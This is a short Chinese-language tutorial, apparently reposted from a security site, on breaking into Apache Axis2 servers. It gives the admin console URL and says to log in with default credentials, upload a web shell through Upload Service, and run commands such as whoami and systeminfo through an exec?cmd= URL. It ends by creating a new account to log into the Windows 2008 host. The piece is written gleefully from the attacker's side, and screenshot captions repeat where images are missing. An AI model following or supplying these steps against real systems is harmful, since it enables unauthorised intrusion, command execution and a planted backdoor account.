AXIS2 弱口令  账号admin   默认密码:


axis2http://127.0.0.1:8080/axis2/axis2-admin

AXIS2 弱口令提权


登录进去点击第一行 Tools下的Upload Service 


AXIS2 弱口令提权


上传大马


AXIS2 弱口令提权

AXIS2 弱口令提权

上传成功后
http://127.0.0.1:8080/axis2/services/Cat/exec?cmd=whoami [whoami 查看权限]


AXIS2 弱口令提权 

administrator  管理员权限   看到这我们知道了 这是太win 的机器 
输入:systeminfo   看下系统信息

AXIS2 弱口令提权


windows 2008的   还能看到其他一些信息  ()
创建个帐号 


AXIS2 弱口令提权


AXIS2 弱口令提权   

创建成功 嘿嘿 登录机器  


AXIS2 弱口令提权 


AXIS2 弱口令提权 结束嘿嘿

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有